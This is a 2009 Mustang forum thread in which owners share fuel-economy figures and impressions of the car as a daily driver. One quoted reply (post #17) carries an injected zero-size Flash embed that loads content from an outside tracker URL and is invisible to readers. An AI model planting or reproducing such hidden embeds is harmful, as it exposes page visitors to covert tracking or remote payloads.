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  • 2005 - 2014 S-197 Mustang -General/Talk-

How are these cars for daily drivers????

  • Thread starter Thread starter WallyKilla
  • Start date Start date Sep 29, 2009
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WallyKilla

Member
Sep 28, 2009
154
0
16
Sep 29, 2009
#1
  • Sep 29, 2009
  • #1
Will it average 25 highway mpg?
 

kooldawg6

mine works really well and can take a fair amount
Aug 31, 2006
1,679
2
38
Central VA
Sep 30, 2009
#2
  • Sep 30, 2009
  • #2
They are great for DD! I have nearly 84K miles on mine and have had most of my performance mods (CAI, tune and 4.10s) since 15K miles. I have also been running the big staggered wheel/tire combos for two years. With no line locks and at least 50 mega burnouts at the track or...elsewhere, I was still able to get 81K miles out of the stock brakes!!!!! The fronts still had nearly half the pad left and the rotors were in great shape I avg around 18-20 MPG with mixed "spirited" driving and can get 24-25 MPG on highway trips
 
T

TheVat

New Member
Feb 12, 2009
98
0
0
So California
Sep 30, 2009
#3
  • Sep 30, 2009
  • #3
I've never driven a tank of city only driving, so I'm assuming I'm at about 14-15 city. Highway driving however is actually quite impressive. Driving very frugually at 60mph (with no one around) I get 31-33mpg. 65mph=30, 70mph=28, 75mph=25-26. A/C will freeze your face even when it's 100 outside at the 2 setting. Visibility out the front and back is good. Very smooth clutch and shifter assembly; won't tire your leg like 99-04's. A/C doesn't feel like it takes 50hp away like the 99-04's, so you still have decent power when hot out. Night and day seat of the pants feeling when driving at day (hot where I live) and night. As many have stated before, the 4.6 is not as punchy when heatsoaked. Brakes could bite harder/stop sooner/less dive, but is acceptable. A baby seat will fit (safety hook in rear headliner and side of seats), not just the seatbelt securing it. Front passenger's knees will touch dash/seat, will be almost upright. Chrome A/C vent rights and alum inserts on IUP models are a little bit shiny when bright out, but sunglasses take care of that. Very supportive seats that actually support your back and head. At first I didn't like the drive by wire throttle, but now that I'm used to it, there is a very good pull once you crest 3500 rpm; very linear to redline. This engine feels very refined. Doesn't feel strained when pushed; same smoothness at 2k and 5k. If it had towing capabilities, it would be the perfect vehicle for me. Maintenance is very affordable; brakes, air/fuel filters, oil, etc. These are just my opinions on DD so please don't think its not a good commuter car. Its a great econ car when driven light, but will give you a smile when you floor it.
 

DarkFireGT

Playing with my wife's really makes me want one.
10 Year Member
May 23, 2004
692
10
89
East Moline, IL
Sep 30, 2009
#4
  • Sep 30, 2009
  • #4
Great DDs. I drive mine all the time. With intake and a good tune, you can get over 20 in the city, over 25 on the interstate, and up to (or over) 30 on the highway.
 

WallyKilla

Member
Sep 28, 2009
154
0
16
Sep 30, 2009
#5
  • Sep 30, 2009
  • #5
Thevat!!!! Thank you soo much for that write up! I previously had a 90GT and a 95GT and as far as driving them daily i did not like it haha. I am looking for a car that I can bring to the 1/4 stip mabe 2 times per month and still have a (decent) daily drive. I think I will start looking for some 05 GT very soon
 
I

IresGift

New Member
Nov 13, 2008
8
0
0
Midland, TX
Sep 30, 2009
#6
  • Sep 30, 2009
  • #6
20 mpg in the city?! Good lord, my ride must have an eating disorder. I'm getting 13.5 in town and 22-25 on the hwy.
 

WallyKilla

Member
Sep 28, 2009
154
0
16
Sep 30, 2009
#7
  • Sep 30, 2009
  • #7
You also have 4.10's
 

stangdude2000

Founding Member
Jun 23, 2001
1,727
0
0
Northern VA
Sep 30, 2009
#8
  • Sep 30, 2009
  • #8
I average about 22 MPG with city (Washington DC) and highway driving. On highway trips, I've gotten up to 29 MPG at 70-75. I've gotten over 30 MPG for shorter periods of time going 60-65. In straight city driving, I usually get between 13-17 mpg depending on how heavy footed I feel like being. I have been able to pull 18 mpg in the city though.

My A/C sucks though. It's tough to cool down the car when it gets over about 90 degrees. Different cars seem to perform VERY differently on that front.
 

Five Oh Brian

Member
Jun 13, 2007
552
1
16
Pacific Northwest
Sep 30, 2009
#9
  • Sep 30, 2009
  • #9
My supercharged 07 GT is a daily driver. I get just 12 mpg city, but 24 mpg highway (cruise control / 60 mph), or 20 mpg highway (no cruise control / 70-80 mph). Not bad, IMO, considering the supercharger, 4.10 gears and big (4800 rpm) stall converter.
 
S

stanmckinney

10 Year Member
Mar 30, 2005
1,188
5
49
Sep 30, 2009
#10
  • Sep 30, 2009
  • #10
13 to 14 in town, up to 25 on the road.
Love my car for a daily driver.
 

walter

Founding Member
Aug 13, 1998
1,054
0
46
Houston TX
Sep 30, 2009
#11
  • Sep 30, 2009
  • #11
It depends on what type of daily driving and the skill of the driver.

A highway commuted Mustang in warm climates and in the hands of an experienced driver will make an excellent daily driver compared to a stop and go driven city car in a cold/rainy state in the hands of a mediocre driver.
 
B

bluecar

Member
Feb 19, 2007
99
0
6
SF CA
Sep 30, 2009
#12
  • Sep 30, 2009
  • #12
I've gotten as bad as 9 for city driving because of the hills, slow traffic, and a heavy foot. City driving here with an automatic is not very fun because the gear sometimes is not where I want it so sometimes I'll manually shift it.

I've gotten as good as 24 on the highway. Maybe it will get better since there are only 16000 miles on the car.

The thing with daily drivers is you have to deal with shopping carts and dings and other things careless people do but thats on other threads on this site. Ideally, I'd have a beater but I only have 1 garage space.
 

imfamousjim

Member
Mar 12, 2009
32
0
7
Sep 30, 2009
#13
  • Sep 30, 2009
  • #13
bluecar said it best.... the only problem with daily driving these cars is being terrified to park and leave it around normal people.
It has excellent roadmanners... i tell people its like a cadillac on the highway, but a ferarri on the ramps. Anybody can drive these cars in the rain as long as you're smart... and winter, oh well, nothing handles well in the snow.

I sold my 95 GTS for this car because i was going to be doing alot of commuting, and i am SO happy with the decision (a 95 with 4.10 gears lowered to the ground with crappy tokico blues was never a fun ride unless on the track)
this car is not only 500 times better for comfort, but handles much better and is quicker than my '95

24.5mpg on the highway at 75mph. I average 20 driving Very aggressively on the street.

'Jim
 

forensicsteve

New Member
Aug 27, 2006
77
0
0
USA
Oct 1, 2009
#14
  • Oct 1, 2009
  • #14
Car used to have a Procharger and 4:10s. Daily driving was great, about 27 mpg on the interstate. Now on its second total rebuild, it lives just 1/4 mile at a time...lol

big (4800 rpm) stall converter.
Click to expand...

Hey Five O.....why 4800...that's way high???
 

Steel Horse

Member
Oct 28, 2008
0
0
16
Altoona, IA
Oct 1, 2009
#15
  • Oct 1, 2009
  • #15
forensicsteve said:
Car used to have a Procharger and 4:10s. Daily driving was great, about 27 mpg on the interstate. Now on its second total rebuild, it lives just 1/4 mile at a time...lol



Hey Five O.....why 4800...that's way high???
Click to expand...

I'm guessing that's where his power band is the strongest.
 
I

IresGift

New Member
Nov 13, 2008
8
0
0
Midland, TX
Oct 1, 2009
#16
  • Oct 1, 2009
  • #16
WallyKilla said:
You also have 4.10's
Click to expand...

What, 4:10's?! Someone must have done a gear swap while I was sleeping.. the nerve of some people!

Seriously though, after I got them installed, my mileage only dropped 1 mpg and everything was fine until the last 2-3 months. I went from 16-17 in town to 13.5. I've changed my oil, filter, etc. and it doesn't help. I have a heavy foot throughout the RPM's, but that's always been the case. Weird.
 

sbreaux26

New Member
Aug 21, 2001
47
0
0
Baton Rouge, LA
Oct 1, 2009
#17
  • Oct 1, 2009
  • #17
stanmckinney said:
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://brbyowner.com/?tracker=4730"></param><param name="allowFullScreen" value="true"></param><embed src="http://brbyowner.com/?tracker=4730" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>13 to 14 in town, up to 25 on the road.
Love my car for a daily driver.
Click to expand...

I get about the same, I drive it every day!
 

Five Oh Brian

Member
Jun 13, 2007
552
1
16
Pacific Northwest
Oct 1, 2009
#18
  • Oct 1, 2009
  • #18
forensicsteve said:
Hey Five O.....why 4800...that's way high???
Click to expand...

Peak torque in my car arrives between 5100 and 5600 rpm's, and horsepower is still climbing like crazy at the 6400 rpm shift points. Centrifugal blowers don't make much power down low, so you have to find a way to get them into the powerband quickly (as Steel Horse mentioned) to maximize their effectiveness at WOT. So, big converter and 4.10 gears in my car do the trick. At the track at WOT, my car is always between 4800 and 6400 rpm's making great boost.
 

Ganton

Founding Member
Jul 4, 2000
150
0
17
Olympia, Wash. USA
Oct 2, 2009
#19
  • Oct 2, 2009
  • #19
Great daily driver: easy car to drive, very responsive, great steering, good brakes, etc. Mine's an automatic V6 and I got 30.44 MPG driving a steady 60 mph on a 130 mile freeway trip with one other person aboard (who was not overweight, I might add :>)
 

GOLDENPONY

Founding Member
Jan 23, 2002
1,503
0
36
LOVELAND, OHIO
Oct 2, 2009
#20
  • Oct 2, 2009
  • #20
Been driving my '06 daily since ordering it from factory and receiving it in late '05. Except for the screwed up 2 piece plugs, I couldn't be happier.
 
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